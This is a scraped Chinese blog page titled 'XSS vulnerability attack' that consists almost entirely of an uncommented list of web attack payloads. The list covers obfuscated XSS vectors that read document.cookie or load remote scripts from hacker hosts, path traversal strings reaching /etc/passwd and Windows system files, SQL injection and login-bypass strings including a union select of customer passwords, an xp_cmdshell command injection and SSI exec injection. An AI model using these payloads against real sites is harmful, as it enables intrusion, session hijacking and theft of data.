zoukankan      html  css  js  c++  java

  • xss 漏洞 攻击

    ><script>alert(document.cookie)</script> 
    =’><script>alert(document.cookie)</script> 
    <script>alert(document.cookie)</script> 
    <script>alert(vulnerable)</script> 
    %3Cscript%3Ealert(’XSS’)%3C/script%3E 
    <s&#99;ript>alert(’XSS’)</script> 
    <img src="javas&#99;ript:alert(’XSS’)"> 
    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp 
    %22%3cscript%3ealert(%22xss%22)%3c/script%3e 
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 
    %3f.jsp 
    %3f.jsp 
    &lt;script&gt;alert(’Vulnerable’);&lt;/script&gt 
    <script>alert(’Vulnerable’)</script> 
    ?sql_debug=1 
    a%5c.aspx 
    a.jsp/<script>alert(’Vulnerable’)</script> 
    a/ 
    a?<script>alert(’Vulnerable’)</script> 
    "><script>alert(’Vulnerable’)</script> 
    ’;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’--&& 
    %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 
    %3Cscript%3Ealert(document. domain);%3C/script%3E& 
    %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= 
    http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd 
    ..\..\..\..\..\..\..\..\windows\system.ini 
    \..\..\..\..\..\..\..\..\windows\system.ini 
    ’’;!--"<XSS>=&{()} 
    <IMG SRC="javascript:alert(’XSS’);"> 
    <IMG SRC=javascript:alert(’XSS’)> 
    <IMG SRC=JaVaScRiPt:alert(’XSS’)> 
    <IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)> 
    <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41> 
    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> 
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 
    <IMG SRC="jav&#x09;ascript:alert(’XSS’);"> 
    <IMG SRC="jav&#x0A;ascript:alert(’XSS’);"> 
    <IMG SRC="jav&#x0D;ascript:alert(’XSS’);"> 
    "<IMG SRC=java\0script:alert(\"XSS\")>";’ > out 
    <IMG SRC=" javascript:alert(’XSS’);"> 
    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 
    <BODY BACKGROUND="javascript:alert(’XSS’)"> 
    <BODY ONLOAD=alert(’XSS’)> 
    <IMG DYNSRC="javascript:alert(’XSS’)"> 
    <IMG LOWSRC="javascript:alert(’XSS’)"> 
    <BGSOUND SRC="javascript:alert(’XSS’);"> 
    <br size="&{alert(’XSS’)}"> 
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> 
    <LINK REL="stylesheet" HREF="javascript:alert(’XSS’);"> 
    <IMG SRC=’vbscript:msgbox("XSS")’> 
    <IMG SRC="mocha:[code]"> 
    <IMG SRC="livescript:[code]"> 
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(’XSS’);"> 
    <IFRAME SRC=javascript:alert(’XSS’)></IFRAME> 
    <FRAMESET><FRAME SRC=javascript:alert(’XSS’)></FRAME></FRAMESET> 
    <TABLE BACKGROUND="javascript:alert(’XSS’)"> 
    <DIV STYLE="background-image: url(javascript:alert(’XSS’))"> 
    <DIV STYLE="behaviour: url(’http://www.how-to-hack.org/exploit.html’);"> 
    <DIV STYLE=" expression(alert(’XSS’));"> 
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS")’;</STYLE> 
    <IMG STYLE=’xss:expre\ssion(alert("XSS"))’> 
    <STYLE TYPE="text/javascript">alert(’XSS’);</STYLE> 
    <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert(’XSS’)");}</STYLE><A CLASS=XSS></A> 
    <STYLE type="text/css">BODY{background:url("javascript:alert(’XSS’)")}</STYLE> 
    <BASE HREF="javascript:alert(’XSS’);//"> 
    getURL("javascript:alert(’XSS’)") 
    a="get";b="URL";c="javascript:";d="alert(’XSS’);";eval(a+b+c+d); 
    <XML SRC="javascript:alert(’XSS’);"> 
    "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert(’XSS’);}</SCRIPT><" 
    <SCRIPT SRC="/news/UploadFiles_4577_9994/200608/20060807015405416.jpg"></SCRIPT> 
    <IMG SRC="javascript:alert(’XSS’)" 
    <!--#exec cmd="/bin/echo ’<SCRIPT SRC’"--><!--#exec cmd="/bin/echo ’=http://xss.ha.ckers.org/a.js></SCRIPT>’"--> 
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 
    <SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
    <SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
    <SCRIPT a=">" ’’ SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
    <SCRIPT "a=’>’" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
    <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> 
    admin’-- 
    ’ or 0=0 -- 
    " or 0=0 -- 
    or 0=0 -- 
    ’ or 0=0 # 
    " or 0=0 # 
    or 0=0 # 
    ’ or ’x’=’x 
    " or "x"="x 
    ’) or (’x’=’x 
    ’ or 1=1-- 
    " or 1=1-- 
    or 1=1-- 
    ’ or a=a-- 
    " or "a"="a 
    ’) or (’a’=’a 
    ") or ("a"="a 
    hi" or "a"="a 
    hi" or 1=1 -- 
    hi’ or 1=1 -- 
    hi’ or ’a’=’a 
    hi’) or (’a’=’a 
    hi") or ("a"="a
  • 相关阅读:
    流行-Manifold学习理解与应用
    狠心奶奶自断亲情，28年后孙女拒绝相见：人有没有不原谅的权利？
    学术论文常用词汇总结（待更新）
    机动车驾驶（2）--- 老司机经验
    关于MySQL数据导出导入
    php5.6-lumen与php5.6-phalcon性能对比
    win7(64bit)+python3.5+pyinstaller3.2安装和测试
    WARNING: Can not get binary dependencies for file...
    一些不错的计算机书籍
    PHP扩展类ZipArchive实现压缩解压Zip文件和文件打包下载
  • 原文地址：https://www.cnblogs.com/buaaboyi/p/1734335.html
Copyright © 2011-2022 走看看